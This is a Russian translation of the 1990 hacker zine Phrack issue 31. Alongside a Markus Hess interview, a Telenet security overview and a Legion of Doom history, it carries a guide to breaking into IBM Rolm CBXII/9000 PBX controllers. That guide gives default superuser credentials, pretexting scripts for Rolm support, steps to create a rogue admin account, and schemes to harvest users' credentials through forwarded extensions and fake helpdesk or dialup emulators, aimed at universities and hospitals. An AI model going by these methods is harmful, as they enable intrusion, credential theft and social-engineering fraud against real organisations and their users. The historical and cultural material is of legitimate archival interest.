Phrack RU issue 031

Русская версия Phrack, выпуск 031. Полный текст статей с кодом и таблицами.

Темы выпуска: культура Phrack, новости сцены, loopback, prophile и хакерские манифесты; веб-безопасность, PHP, CTF и прикладные атаки на сервисы; справочники, индексы, аббревиатуры и архивные материалы.

Материалы выпуска: Введение в Phrack 31; Личные данные; Взлом Rolm CBXII/9000; Всё, что вы всегда хотели знать о безопасности Telenet, но были слишком тупы, чтобы выяснить самостоятельно; История Легиона Судьбы; Исчерпывающее руководство по COSMOS; Поддержка TYMNET в области информационной безопасности клиентов; Операция «Sun-Devil»; Мировые новости Phrack; Comp.dcom.telecom.

Больше крутых материалов в моём телеграм канале @grogrigs

Введение в Phrack 31

Автор: DH (редактор)

Дата: 28.05.1990

Добро пожаловать в новое начало Phrack Inc. Да, Phrack не мёртв. Напротив — Phrack не умрёт никогда и не может умереть. Phrack — это нечто большее, чем просто технический журнал, выходящий время от времени. Это символ нашей хакерской истории. Как бы он ни назывался — Phrack или как-то иначе — он всегда будет издаваться ради одних и тех же целей:

1. Информировать читателей о текущих событиях и других материалах, представляющих интерес для хакеров.
2. Просвещать читателей по всем темам общих интересов, которые могут принести пользу хакеру в его увлечении.
3. Оставаться авторитетом в хакерском мире и наблюдателем в постоянно растущем техническом сообществе.
4. Быть открытым для всех, кто желает представить статью к публикации, способствующую просвещению хакера.

С момента последнего выхода Phrack произошло многое. Мы в Phrack Inc. постараемся «пролить свет» на события, которые имели место. А что касается всех этих нелепых слухов, которые распространяются, — позвольте нам говорить правду и быть услышанными.

Ха. Нет, друзья мои, Phrack не мёртв..

— DH (редактор)

Примечание: Если вы хотите связаться с Phrack Inc., чтобы прислать файл — поищите дистрибьюторскую точку Phrack Inc., затем напишите письмо на «Phrack Inc.» и наберитесь терпения.

Примечание: Особая благодарность TC, Phz и другим за широкое распространение.

Содержание Phrack XXXI

31-5	История Legion Of Doom	—	10K
31-6	Обзор Cosmos	EBA	52K
31-7	Служебная записка по безопасности Tymnet	Аноним	9K
31-8	PWN/Часть 01	Phreak_Accident	13K
31-9	PWN/Часть 02	Phreak_Accident	17K
31-10	PWN/Часть 03	Phreak_Accident	40K

Личные данные

Автор: Phz

1 июня 1990 г.

Недавно редакторам Phrack представилась возможность побеседовать с Маркусом Хессом в его крохотной квартире в Ганновере. Этот специальный выпуск Phrack Prophile подробно описывает наш разговор, а также содержит общие биографические сведения о немецком хакере.

Данный Phrack Prophile отличается по формату от предыдущих — в силу особого характера этого профайла. В следующем выпуске мы вернёмся к исходному формату создателей рубрики.

```
Звоним в Ганновер..
RING
RING
RING
ANSWERED
```

О персонаже

Хесс, широко известный как хакер, чьи похождения подробно описаны в книге Клиффорда Столла «Яйцо кукушки» (_The Cuckoo's Egg_), «так же параноидален по телефону, как и за компьютером». Несмотря на крайнее нежелание разговаривать с нами, нам всё же удалось побеседовать с ним о хакерстве и о «Яйце кукушки».

Разговор с Ганновером

ХЕСС: Hallo?

PHRACK: Это Маркус Хесс?

ХЕСС: Да.

PHRACK: Вы курите Benson & Hedges?
(На этом этапе мы ещё не были уверены, что это действительно он)

ХЕСС: Да, а кто спрашивает?

PHRACK: Мы звоним из США, хотим задать вам несколько вопросов. Мы беседуем с хакерами в США.

ХЕСС: Я больше не хочу иметь ничего общего с хакерами. В этом году я уже выступал в суде.

PHRACK: Вы знаете, что стали персонажем романа об одном хакере в США?

ХЕСС: Роман? Да, я знаю о романе.

PHRACK: Вы читали книгу?

ХЕСС: Да, читал.

PHRACK: Там всё правда? Как вы считаете — Клифф солгал или преувеличил в книге?

XECC: Да, думаю, так и есть.

XECC: Да, он солгал.

PHRACK: Вы когда-нибудь разговаривали со Столлом?

XECC: Разговаривал, но не в частной обстановке. Не хочу об этом говорить.

PHRACK: Вы когда-нибудь видели Клиффа Столла?

XECC: Да, видел.
(Можно было догадаться по фото на обложке книги)

PHRACK: Он выглядит довольно нелепо, не правда ли?

XECC: Нелепо? Не понимаю.

PHRACK: Ладно. Значит, вы считаете, что он солгал в книге?

XECC: Да, он солгал.

PHRACK: О чём именно он солгал?

XECC: Не хочу об этом говорить.

PHRACK: Хорошо. Вы состоите в Chaos Computer Club?

XECC: Нет, я больше не хочу иметь ничего общего с хакерами.

PHRACK: Вы когда-нибудь были с ними связаны?

XECC: Нет. Я не состоял в нём.

PHRACK: Вы знаете кого-нибудь из CCC?

XECC: Да. Мне действительно нужно идти.

PHRACK: Кого именно вы знаете из CCC?

XECC: Stephen Winero.

PHRACK: Только его?

XECC: Ещё я знаю Walu.

PHRACK: Хм. За вами следят?

XECC: Думаю, да. Я не могу об этом говорить.

PHRACK: Вы боялись попасть в тюрьму?

XECC: В тюрьму?

PHRACK: В заключение — вы боялись оказаться за решёткой?

XECC: Не знаю.

PHRACK: Что произошло в суде — своими словами?

XECC: Своими словами? Не понимаю.

PHRACK: Что случилось в суде?

XECC: Не понимаю.

PHRACK: Забудьте.

PHRACK: У вас ещё есть компьютер?

XECC: Нет. Никакого компьютера у меня нет.

PHRACK: Вы думали, что вас поймают?

ХЕСС: Нет. Я ничего об этом не знал.

PHRACK: Кто-нибудь из хакеров в США пытался с вами связаться?

ХЕСС: Нет. Вы первые, кто позвонил.

PHRACK: Правильно ли я понимаю, что Столл солгал в отдельных частях книги?

ХЕСС: Солгал? Да, он солгал.

PHRACK: Почему, как вы думаете, он стал бы лгать?

ХЕСС: Не знаю.

PHRACK: Вы считаете, что он изобразил вас разрушителем?

ХЕСС: Да. Он выставил меня злодеем.

PHRACK: А вы злодей?
(Смех)

ХЕСС: Нет. Он изобразил меня так, будто я преступник.

PHRACK: Почему вы это делали, Маркус?

ХЕСС: Что делал?

PHRACK: Взламывали всю эту сеть?

ХЕСС: Не могу ответить.

PHRACK: В суде вас называли лжецом?

ХЕСС: Да. Меня называли лжецом.

PHRACK: Что вы собираетесь делать теперь?

ХЕСС: Не понимаю.

PHRACK: Вы покончили с хакерством?

ХЕСС: Да, мне больше нечего делать с хакерами.

PHRACK: Кто-то помогал вам взламывать?

ХЕСС: Не могу ответить.

PHRACK: Почему вы не можете ответить на этот вопрос?

ХЕСС: Не могу.

PHRACK: Ладно. Многим хакерам в США этот роман не нравится.

PHRACK: Что вы о нём думаете?

ХЕСС: Это неправда.

ХЕСС: Не знаю.

PHRACK: Кто научил вас уязвимости в EMACS?

ХЕСС: Не могу сказать.

PHRACK: Значит, вы работали с кем-то — так?

ХЕСС: Нет, не могу ответить.

PHRACK: Полиция сильно давит на вас?

ХЕСС: Полиция? Не пони...

PHRACK: Ну да. Закон — они давят на вас?

ХЕСС: Да.

<ТИШИНА>

ХЕСС: Мне нужно идти.

PHRACK: Можно перезвонить вам позже?

ХЕСС: Хм, не знаю. Нет.

PHRACK: Почему нет?

ХЕСС: Не могу ответить.

PHRACK: А через пару месяцев?

ХЕСС: Да, через пару месяцев можете позвонить.

PHRACK: Вы же не переезжаете?
(Зная, что немцы практически никогда не переезжают и номера телефонов у них не меняются, вопрос был, конечно, риторический)

ХЕСС: Нет. Я не переезжаю.

PHRACK: Хорошо, тогда позвоним вам через пару месяцев.

ХЕСС: Хорошо. Мне нужно идти.

PHRACK: Подождите секунду.

ХЕСС: Да?

PHRACK: Вам есть что сказать американским хакерам?

ХЕСС: Нет.

ХЕСС: Мне нечего делать с хакерами.

PHRACK: Ну что ж, удачи.

ХЕСС: Да, и вам тоже.

<CLICK>

Заключение

К сожалению, незнание немецкого с нашей стороны и слабый английский Хесса существенно затруднили общение. Он производит впечатление очень параноидального человека, которому явно было не по себе от разговора с нами.

Те из вас, кто читал книгу Столла, знают, что Хесс был причастен к взломам американских военных компьютеров и косвенно — к компьютерному шпионажу в интересах КГБ. Phrack категорически не поощряет попытки взламывать военные компьютеры и особо осуждает компьютерный шпионаж.

На основе собранных сведений и состоявшегося разговора мы пришли к выводу, что Маркус Хесс не был столь умён, каким его изобразил Клиффорд Столл. Мы также полагаем, что Маркус действовал не в одиночку и что к этому делу были причастны другие люди. Однако утверждать это со стопроцентной уверенностью мы не можем — слишком много помех было в нашем общении.

Взлом Rolm CBXII/9000

Автор: DH
Дата: 24.05.90

Введение

IBM Rolm CBXII/9000 — очень мощная машина. Мощная в том смысле, что она отдаёт управление коммутатором(ами) в руки того, кто к ней подключится. Контроль над коммутаторами означает возможность управлять всей средой УАТС (и её пользователями).

Этот файл не претендует на техническую глубину. По сути, я пишу его как руководство «Как это устроено» по внутреннему устройству CBXII и основам получения модемных номеров и учётных данных, необходимых для доступа к машинам. За дополнительной информацией по CBX в целом обратитесь к файлу Epsilon'a в Phrack или к файлу Evil Jay'a по OSL.

Получение модемных номеров (Dialups)

Получение модемных номеров — к сожалению, самая сложная часть взлома CBXII. (Да, даже сложнее, чем сам взлом.) Существует несколько способов добыть эти номера.

Можно с уверенностью сказать, что значительная часть CBX-систем установлена в университетах и больницах, управляющих собственными коммутаторами. Зачастую можно узнать, есть ли у них такая система, просто позвонив в отдел телекоммуникаций целевой организации.

Другой способ — обратиться напрямую в ROLM. Если вы *ТОЧНО ЗНАЕТЕ*, что в целевой организации установлена машина серии CBXxx, можно позвонить на бесплатную линию ROLM, представившись сотрудником отдела телекоммуникаций и попросив модемный номер. У Rolm хранятся файлы по всем их CBXxx и соответствующим модемным номерам. Возможно, вас спросят номер узла — вы можете назвать тот, что вас интересует (разные узлы обслуживают разные части УАТС). Как правило, нумерация узлов начинается с ОДНОГО и доходит до ТРЁХ или ЧЕТЫРЁХ — в зависимости от размера УАТС.

Системы CBXxx в высокой степени совместимы с системой голосовой почты IBM Rolm Phone-Mail (PHM) — широко распространённой и популярной системой. Это, конечно, не означает, что каждая система PHM обязательно имеет подключённый CBXxx. Но это хорошая отправная точка для поиска.

Ниже приведён контрольный список для определения того, может ли целевая организация использовать CBXxx. Обратите внимание: наличие всех пунктов не гарантирует наличия CBXxx.

1. Управляет ли организация собственным коммутатором?
• Если да — каким именно, и кто его обслуживает?
2. Участвует ли IBM Rolm в каком-либо аспекте их телекоммуникационного отдела?
• Если да — это возможный объект с CBXxx.
3. Используется ли в организации Rolm Phone-Mail?

Эти три критерия не являются обязательными условиями. То есть у организации может быть не-IBM УАТС, но при этом всё равно установлен СВХхх для управления коммутатором. Так что — кто знает. Всё зависит от вас, вашей смекалки и сканирования.

Взлом СВХхх

Итак, получив модемные номера, вы уже на полпути к цели. Взломать СВХ — это лёгкая часть. Прежде всего: IBM Rolm поставляет *ВСЕ* свои машины с учётной записью по умолчанию (да, и её никогда не меняют). Когда получатель СВХ принимает машину, он использует эти реквизиты по умолчанию для создания других учётных записей: для сотрудников, операторов УАТС и администрации. Rolm IBM также встраивает в машину учётную запись для выездного технического обслуживания. Она уникальна для каждого объекта и соответствует серийному номеру машины (реквизиты этой записи можно получить через бесплатную линию технической поддержки Rolm).

Итак, зная, что учётная запись по умолчанию используется отделом телекоммуникаций для начальной настройки машины, мы понимаем: это привилегированная учётная запись. Так оно и есть.

```
USERNAME: SU
PASSWORD: SUPER
```

Приятно, что они оказали нам такую услугу. Да, это стандартная учётная запись с привилегиями суперпользователя. Если по какой-то причине значения по умолчанию изменены, есть другие способы получить доступ:

1. Позвоните в Rolm и получите реквизиты сервисной учётной записи.
2. Попробуйте имена сотрудников отдела телекоммуникаций и операторов УАТС.
3. Используйте все имеющиеся у вас навыки взлома (если они есть).

Некоторые старые версии СВХ вообще не требуют входа с учётной записью. Такие версии менее функциональны с точки зрения администратора, но тоже могут пригодиться. Не унывайте, если пароль SU изменён — просто позвоните в Rolm и получите сервисную учётную запись.

Ниже показано, что выводится перед входом в машину. *Обратите внимание: система чётко идентифицирует себя. Также: доступна на 300 бод, E,7,1.*

```
CONNECT                                ID banner
                _Release version #   /
               /                    /\
Rolm CBXII  RELEASE 9004.0.65 RB74UCLA11956
BIND DATE: 8/SEP/88                 \
YOU HAVE ENTERED NODE 1, CPU 2       \_Name of owner, IE: UCLA
11:14:30 ON FRIDAY 2/11/1990             (System ID)
USERNAME: xxx
PASSWORD: xxx
INVALID USERNAME-PASSWORD PAIR.
```

После входа в систему

Оказавшись внутри, вы без труда сможете ориентироваться в машине и пользоваться утилитами её операционной системы. Внутри машины есть очень подробные справочные функции, которые проведут вас через всё без проблем. В командной строке СВХ:

```
%. HELP ?
```

или

```
%. ?
```

Это должно выдать список доступных функций и подфункций. После любой функции можно ввести `?`, чтобы получить список её подфункций или информацию о синтаксисе.

Ниже приведён список команд CBXII/9000:

```
ABORT           ACTIVATE        ATTR            BYE
CANCEL          CARD            CDRSM           CDT
CHANGE          CHG             CLEAR           CLR
CMPCT           CMSTS           CNCL            CNFG
CONVERT         COPY            CPEG            CTMON
CTRA            CTRTL           CXCLR           COPY
CXCLR           CXCON           CXNET           DACK
DADD            DAEVT           DANS            DBDMP
DCAT            DCF             DCOM            DDMA
DDQ             DDT             DE              DEACTIVATE
DEFINE          DELETE          DEMOUNT         DESUM
DEX             DFACK           DFCOM           DFEAT
DFEVT           DHTQ            DHWS            DIAG
DIQ             DISABLE         DIWQ            DKQ
DML             DMNT            DMS             DMTST
DOWN            DPATR           DPMR            DPMS
DPPRI           DPTR            DQQ             DRCT
DREGS           DSBLE           DSQ             DSST
DSTAK           DTCB            DTDQ            DWQ
DX_TR           ENABLE          ENB             ENBLE
ETIO            EX              EXM             EXN
EXP             EXPAND          FINIT           FORMAT
FREER           FSD             GTOD            HDBST
HELP            INSTALL         KPFA            LCT
LIST            LOAD            LOGOFF          LOGON
LPEG            LPKT            LSCT            LSL
LST             LTCB            MNT             MONITOR
MOUNT           MTRACE          NEXT            NSTAT
PAGE            PCNFG           PDIO            PFA
PKTS            PLIST           PLTT            PPFA
PS              PSH             QAT             QITM
QTEST           RCT             RECEIVE         RENAME
REPLY           RESTART         RESTORE         REVERSE
RM              RMOFF           RPFA            RSC
RSCLK           RSTOR           RSTRT           SAT
SCAN            SEND            SET             SHOW
SITM            SOCON           SOUNC           SSAT
START           STATE           STATUS          STEST
STOD            STOP            STRT            STS
TDCD            TEST            TKSTS           TRTL
TST             TX              UNLK            UNLOCK
UP              VERIFY          XDEF            XMIT
XPND
```

Эти команды выполняются из командной строки `%` . Если после команды ввести `?`, будет выдана дополнительная информация о ней.

Использование ICI (интерактивного интерфейса конфигурации)

Интерактивный интерфейс конфигурации (Interactive Configuration Interface) позволяет вносить немедленные изменения в настройки коммутатора и среды УАТС. Утилита подробно описана в своей собственной справке. Доступ к ICI осуществляется командой:

```
% CNFG
```

```
                      CBXII/9000
        INTERACTIVE  CONFIGURATION INTERFACE
                        CPU 2
15:14:32 ON FRIDAY 5/02/1990
COMMAND:
```

Это главная командная строка ICI. Отсюда можно вызвать список команд через `?`. ICI поддерживает четыре операции: Modify (изменить), Create (создать), List (просмотреть) и Delete (удалить). Они применимы к добавочным номерам (Extensions), транкам, учётным записям (Logon accounts), последовательностям Feature Group, доступу к линиям данных, группам транков и т.д.

Ниже показан пример использования `LIST` для просмотра добавочного номера в УАТС:

```
                              _Forward to EXTN 2000
COMMAND: LIST EXT 4038       /                          _Outside number
                            /            FORWARD ON     /  to forward to
                          FORWARDING     BSY RNA DND    /
   EXTN     TYPE   COS   TARGET1 TARGET2  I E I E I E RINGDOWN  NAME
   ----     ----   ---   ------- -------  - - - - - - --------  ----------
DS 4038     EXTN   56    2000             1 1 1 1 1 1 95551212  R.STABELL
    \          \    \                    /   /    \              \
    Extention  /     -Class of service   if  R    Auto. Forward   Owner of
            --Type of line             BUSY  I   No Matter What   EXTN.
              (Reg. Extention)               N
                                              G
Note: The 1's specifies to forward to target#1    & NO ANSWER
      (As 2's would mean forward to #2 target)
```

Это также показывает, как можно изменять подобные записи с помощью команды `MODIFY` в ICI. После изменений все транзакции обрабатываются немедленно. Команда `Delete` позволяет удалять добавочные номера, транки и т.д.

Итак, в ICI доступны следующие команды: `MODIFY`, `DELETE`, `LIST`, `CREATE`. Каждая из них применяется к следующим «существительным» (объектам):

```
BUTTON_120          BUTTON_240          CDR_EXCLUDE         CNFG_ERRORS
CNFG_QUEUE          CNFG_STATUS         CNFG_USERS          COM_GROUP
COS_FEAT            DATA_ACCESS         DATA_DEVICE         DATA_GROUP
DATA_LINE           DATA_SUBMUX         DLI                 ETS
EXTEN               FAC                 FAC_TYPE            FAMILY
FEAT_CODE           FIRST_DIGIT         HD_GROUP            LEX
LOGON_PROFILE       MAP                 MEM_PARTS           PARAM
PICK                POWER               Q_TYPE              ROUTE_LIST
RP                  RPD                 RPI                 RPS_120S_ON
RPS_240S_ON         SAT_NAME            SEARCH_SEQ          SECTION
SECURITY_GROUP      SERVICE_LIST        SIO_PARTS           SLI
SPEED               T1D3                T1D3_GRP            TRUNK
TRUNK_GROUP         VPC
```

Объекты `FAMILY`, `LOGON_PROFILE` и `CNFG_USER` относятся к учётным записям в системе. С помощью `MODIFY` или `CREATE` можно создать себе учётную запись с доступом SU. Объект `FAMILY` — это список групп с различными правами доступа к разным «существительным». То есть не все пользователи могут обращаться к `CHANGE LOGON_PROFILE` для создания учётных записей.

Чтобы создать учётную запись с доступом SU, введите (находясь в ICI):

```
% CREATE LOGON_PROFILE
ENTER NAME (1-12 CHAR): TEST
ENTER PASSWORD: TEST
RETYPE: TEST
```

Далее система попросит указать семейство (family). Для доступа SU введите `SYSTEM_ADMIN`. После семейства машина предложит указать «глагол» (verb). Глаголы — это фактические функции и команды; здесь вы задаёте, какие команды доступны пользователю. Для SU введите `ALL`, чтобы разрешить доступ ко всем командам.

Чтобы получить список пользователей, находящихся в системе:

```
% LIST CNFG_USERS
NUMBER OF USERS    MAX NUMBER OF USERS
     3                  5
PORT    USER_NAME    START_TIME  HOW_LONG
17      SU           17:47:57    0:28:34
2       FIELD        18:16:03    0:0:28
3       MARYB        18:16:03    0:10:03
```

Использование утилиты мониторинга

Эта команда — одна из наиболее мощных в системе CBXxx. Команду мониторинга следует вызывать из главного уровня команд, а не из ICI. Утилита мониторинга позволяет наблюдать за транками и добавочными номерами в реальном времени. Например:

```
% MONITOR EXT 4038
10:02:43 ON FRIDAY MAY/02/1990
EXT#   STATE            DI  CODE  DIGITS         PROCESS      STATUS
----   ---------------  --  ----  -------------  ------------ ------
4038   IDLE                                      STN FWD NUM   FWD
 \         \                                     /    /    /    \
Extention   Not in use                  Standard     \   /        Forwarded
                                        Extention     \ /
                                                  Forwarded to
                                                   a number
```

Это показывает, что добавочный номер свободен (IDLE) и не используется, однако настроена переадресация вызовов на стандартный номер. Чтобы узнать, на какой именно номер выполняется переадресация, нужно воспользоваться ICI.

```
% MONITOR EXT 4038
10:03:44 ON FRIDAY MAY/11/1990
EXT#    STATE           DI  CODE  DIGITS         PROCESS     STATUS
----    --------------  --  ----  -------------  ----------- ------
4038    DIAL TONE                                STN FWD NUM  FWD
4038    DIALING         Y         9             /    \   \     \
4038    DIALING         Y         92           S     F    N     \Extention
4038    DIALING         Y         923           t     o    u       Forwarded
4038    DIALING         Y         9233           a N   r    m
4038    DIALING         Y         92334           n u   w    b
4038    DIALING         Y         923345           d m   a    e
4038    DIALING         Y         9233456           a b   r    r
4038    DIALING         Y         92334564           r e   d
4038    CONN T025N      N              \              d r   e
 /             \        /               \                   d
 \              \       \_Dialing NO     \_Number dialed
  \_Extention    \
                Connected to
               Outside trunk T025N
```

Этот мониторинг показывает, как добавочный номер набирает цифры и затем соединяется с внешним транком. К сожалению, перехватывать голосовой трафик без доступа к телефонной станции невозможно.

Мониторинг транков также возможен — я не привожу примера, поскольку там всё достаточно просто для самостоятельного разбора.

Манипуляции с коммутатором

Существует множество способов использовать СВХ для получения учётных данных по линиям данных в среде УАТС. Один надёжный метод: переадресовать добавочный номер с реальным дозвоном для передачи данных на бридж или петлю, а затем написать эмулятор для перехвата учётных данных пользователей в реальном времени по мере их подключения к вашему поддельному дозвону.

Или, например, если университет использует СВХ, можно переадресовать добавочный номер службы технической поддержки на бридж или петлю и, когда ничего не подозревающий пользователь позвонит, попросить его сообщить название машины и данные учётной записи — якобы для ведения журнала обращений.

Кто знает. Кто угодно. Существуют тысячи способов использовать СВХ в своих интересах. Ведь в ваших руках — весь коммутатор.

DH — 05/11/90

Всё, что вы всегда хотели знать о безопасности Telenet, но были слишком тупы, чтобы выяснить самостоятельно

Автор: Phreak_Accident

С начала 80-х годов GTE Telenet неуклонно расширяет свою публичную сеть коммутации пакетов, рассчитанную на огромное число пользователей. На сегодняшний день GTE SprintNet (да, название «Telenet» ушло в прошлое — теперь в ходу «SprintNet») насчитывает более 300 узлов в США и свыше 70 узлов за рубежом. SprintNet предоставляет частные сети X.25 крупным компаниям, испытывающим в этом потребность. Все эти частные сети построены на базе объекта 3270 Dedicated Access Facility компании SprintNet, который в настоящее время функционирует в режиме открытого доступа — отсюда и столь серьёзная система безопасности, которую SprintNet успела выстроить.

Отдел безопасности SprintNet устроен так, как и должен быть устроен отдел безопасности любой крупной публичной пакетной сети. Головной офис расположен в Вирджинии (703), и большинство хакеров, попадающих в поле зрения этой службы, в итоге оказываются в разговоре со Стивом Мэтьюзом — не начальником отдела безопасности, но ключевой фигурой в противодействии масштабным атакам, которые SprintNet ежегодно получает от хакеров. Стив — весьма осведомлённый аналитик в области безопасности, ежедневно занимающийся именно такими проблемами.

Благодаря своей осведомлённости о хакерских вторжениях в «его» систему (как большинство специалистов по безопасности называют системы, которые обслуживают) Стив регулярно заходит на доски объявлений по всей стране в поисках материалов, связанных со SprintNet. На момент написания этой статьи он ведёт расследование в отношении программы NUAA, созданной «Dr. Dissector». (NUA Attacker — это сканер NUA для SprintNet.) Помимо этого расследования, он поддерживает контакты со многими хакерами в США и за рубежом. По всей видимости, Стив ежемесячно получает немало звонков от хакеров, которых интересует безопасность SprintNet. Ну и ну. Кому вообще придёт в голову звонить этому типу? Судя по многочисленным наблюдениям, Стив Мэтьюз действительно несколько побаивается хакеров. Впрочем, подобный страх весьма распространён среди сотрудников служб безопасности: большинство из них опасается как за свои системы, так и за собственную шкуру. (Прошлый опыт научил их не недооценивать хакеров — в их записных книжках контактов больше, чем в шестидесяти ролодексах вместе взятых.)

Оставим пока Стива Мэтьюза в покое. Он не является ключевой фигурой этой статьи. Пытаться выделить одного конкретного человека в отделе безопасности — всё равно что искать на пиратской доске кого-то, кто не употребляет слово «C0DE» в повседневном лексиконе.

Основу безопасности Telenet составляет программный комплекс TAMS (Telenet Access Manager System — система управления доступом Telenet). Компьютеры TAMS расположены в Рестоне, штат Вирджиния, однако доступны из любой точки сети. Главные функции TAMS сводятся к следующему:

• Проверка корректности введённых NUI/пароля.
• Проверка наличия у хоста списка NUI, которым разрешён доступ к данному хосту. При использовании иного NUI происходит отказ в подключении.
• Обработка CDR SprintNet (Call Detail Recording — детализация звонков), включающей источник и назначение, время вызова, объём переданных данных и общую продолжительность соединения.
• Возможность привязки хостом необязательного «ALPHA»-адреса NUA для «удобного» доступа.
• Дополнительная защита хостов посредством установки пароля безопасности NUA.

• Блокировка вызовов без NUI для нужд тарификации (то есть запрет входящих звонков за счёт вызываемой стороны).
• Приём всех вызовов на хост в режиме предоплаты (то есть принятие всех вызовов).

TAMS служит прежде всего для управления NUI и связанными с ними NUA, будучи, по существу, концепцией безопасности. TAMS хранит все данные о NUI и ограниченных NUA для ВСЕЙ сети. Получив доступ к TAMS, можно получить в своё распоряжение всю сеть целиком. Для отдела безопасности SprintNet это, разумеется, нечто из области практически невозможного, однако не для нескольких хакеров, с которыми мне довелось пересечься. Да, TAMS — весьма любопытная вещь.

Обратимся теперь к другим аспектам безопасности SprintNet и рассмотрим собственно программное обеспечение X.25, которое они используют. Любой, кто скажет вам, что Telenet не способна мониторить сессии, происходящие в ИХ сети, — ОШИБАЕТСЯ (и, вероятно, весьма недалёк). Мониторинг — базовая функция всех сетей X.25: будь то крохотная сетёнка или нет — они могут и действительно отслеживают сессии.

Конечно, вызовов на SprintNet слишком много, чтобы мониторить каждый, однако встревоженный хост всегда может запросить полную детализацию CDR по своему адресу для записи всех входящих сессий на данный NUA. Именно так и обстояло дело с многочисленными зафиксированными сессиями в чате ALTOS в Германии, который был горячей точкой для множества хакеров из США и других стран. После обнаружения активности ALTOS — через сотни незаконно используемых NUI — на хостах ALTOS были задействованы CDR и прямой мониторинг хоста. Что касается судебного преследования, я сомневаюсь, что оно вообще имело место.

Что касается другого программного обеспечения безопасности SprintNet, у них есть служба отслеживания вызовов под названием AUTOTRAIL. По сути, AUTOTRAIL прослеживает соединения через DNIC'и и возвращается к исходному NUI и/или местоположению узла, с которого был совершён вызов.

AUTOTRAIL не имеет никакого отношения к ANI. Совершенно никакого. На самом деле многочисленные коммутируемые линии, ведущие к шлюзу PDM SprintNet, не оснащены никаким ANI — это, по сути, проблема телефонии. Хотя я бы дважды подумал, прежде чем связываться с коммутируемой линией, работающей на базе оператора GTE. Впрочем, решать вам.

Ещё один аспект безопасности, который предлагает Telenet, — это ASCII-лента, которую клиент-хост может получить по запросу. Она содержит всю CDR-информацию о любом подключении к данному хосту за последнюю неделю, месяц или год. Таким образом, очевидно, что SprintNet располагает огромной базой данных всех CDR. Да, и ещё один момент: эта база данных находится на компьютере TAMS. Хм, ах... Было бы занятно, не правда ли.

:PA

История Легиона Судьбы

Автор: Lex Luthor

Летом 1984 года была сформулирована идея, которой суждено было навсегда изменить облик компьютерного андеграунда. Именно тем летом огромный всплеск интереса к компьютерным телекоммуникациям привлёк к национальной компьютерной сцене невероятно большое количество новых энтузиастов. Эта масса людей, стремившихся узнать как можно больше, начала создавать нагрузку на сеть досок объявлений по всей стране — новички штурмовали телефонные линии в поисках знаний. Из этого хаоса возникла потребность в опытных наставниках, способных передать свои знания новым толпам жаждущих.

Одной из самых популярных досок объявлений того времени была система в штате Нью-Йорк под названием Plovernet, которой управлял некто, называвший себя Quasi-Moto. Этот BBS был настолько перегружен трафиком, что крупная компания дальней связи начала блокировать все звонки на его номер (516-935-2481). Сосисопом Plovernet был человек, известный как Lex Luthor. В то время существовало несколько хакерских групп — например, Fargo-4A и Knights of Shadow. Lex был принят в KOS в начале 1984 года, но, сделав несколько предложений о новых участниках и получив отказ, решил создать собственный BBS с приглашениями и основать новую группу.

Начиная приблизительно с мая 1984 года, Lex стал связываться с теми, кого видел на досках вроде Plovernet, а также с теми, кого знал лично и кто, по его мнению, обладал превосходными знаниями, необходимыми задуманной им группе. После многочисленных телефонных звонков и конференций через Alliance был сформирован состав людей, составивших первоначальный Легион Судьбы. Ими стали:

• Lex Luthor
• Karl Marx
• Mark Tabas
• Agrajag the Prolonged
• King Blotto
• Blue Archer
• EBA
• The Dragyn
• Unknown Soldier

Группа изначально состояла из двух частей: Legion of Doom (Легион Судьбы) и Legion of Hackers (Легион Хакеров). Последняя была подгруппой первой, объединявшей людей с более глубокими знаниями в области компьютерных технологий. Впоследствии, по мере того как все участники всё больше сосредотачивались на компьютерных темах, Legion of Hackers был упразднён. (Название «Legion of Doom» взято из мультсериала «Superfriends», в котором Lex Luthor — заклятый враг Супермена — возглавлял группу с тем же именем.)

Собственная доска объявлений Легиона Судьбы была весьма передовой для своего времени. Это один из первых BBS-ов для хакеров, работавших только по приглашениям; первый BBS с защитой, благодаря которой система оставалась неактивной до ввода основного пароля; и первый хакерский BBS, подробно рассматривавший многие темы — в том числе трэшинг и социальную инженерию. За время своего существования BBS трижды менял номер и трижды — процедуру входа. В пору расцвета система насчитывала более 150 пользователей и принимала в среднем около 15 сообщений в день. Для современных BBS это могло бы показаться много, но это была закрытая система с исключительно компетентными пользователями, поэтому качество сообщений всегда оставалось высоким.

Всегда существовала путаница: некоторые ошибочно полагали, что раз человек присутствует на BBS LOD, значит, он является участником группы. На самом деле лишь немногие из общего числа членов LOD когда-либо бывали на самом BBS LOD.

После отключения домашнего BBS Легион Судьбы также имел специальные подразделы для своих участников на других досках. Сначала на Blottoland, затем на Catch-22, потом на Phoenix Project и, наконец, на Black Ice Private. Участники группы всегда старались не привлекать к себе излишнего публичного внимания и, как правило, ограничивали обмен информацией избранными частными BBS-ами и личными телефонными переговорами. Это стремление к закрытости всегда усиливало мистику LOD. Поскольку большинство людей не знали точно, чем занималась группа или что изучала, все неизменно предполагали нечто слишком детальное или деликатное для публичного обсуждения. В основном это было не так, однако данное обстоятельство нисколько не рассеивало паранойю сотрудников служб безопасности, убеждённых, что LOD охотится за системами их компаний.

Группа прошла через три отчётливых этапа, каждый из которых стал следствием смены состава. Первый этап завершился арестами Marx, Tabas, Steve Dahl, Randy Smith, X-Man, а также тем, что Agrajag и King Blotto покинули группу. Несколько месяцев группа находилась в полудремоте, пока летом 1986 года не наступило возрождение: были приняты несколько новых членов, и появилась новая волна начинающих хакеров, готовых учиться. Этот этап вновь завершился серией арестов и всеобщей паранойей. Третий этап в основном разворачивался вокруг Summercon 1988 года, где несколько новых членов были приняты присутствовавшими на мероприятии участниками LOD. Третий этап ныне подошёл к концу — под воздействием арестов и сопутствующей паранойи, снова спустя два года после своего начала. Никаких признаков возрождения в будущем не наблюдается, хотя ничего нельзя утверждать наверняка до наступления лета.

С момента своего создания LOD стремился выпускать информативные файлы по широкому кругу тем, представлявших интерес для современников. Эти файлы охватывали всё — от первого реального сканированного справочника Telenet до материалов по различным операционным системам. LOD Technical Journal должен был стать нерегулярным электронным журналом, составленным из подобных файлов и других материалов, интересных хакерскому сообществу. Вышло лишь три номера Технического журнала. Когда готовился четвёртый номер, несколько участников подверглись обыскам, и работа над ним была заброшена.

С момента основания и по сей день Легион Судьбы оставался весьма спорной темой как в компьютерном андеграунде, так и среди профессионалов в области компьютерной безопасности. Легиону Судьбы давали самые разные определения — от «организованной преступности» до «коммунистической угрозы национальной безопасности» и «международного заговора компьютерных террористов, задавшихся целью уничтожить службу 911 страны». Ни одно из них не близко к реальности так, как «скучающие подростки с избытком свободного времени».

